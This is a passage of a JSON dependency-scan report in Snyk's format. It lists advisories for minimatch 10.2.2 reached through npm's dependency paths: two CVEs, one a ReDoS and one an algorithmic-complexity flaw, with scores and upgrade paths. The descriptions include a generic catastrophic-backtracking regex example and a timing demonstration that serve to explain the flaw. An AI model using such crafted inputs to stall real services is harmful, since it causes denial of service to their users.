C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": 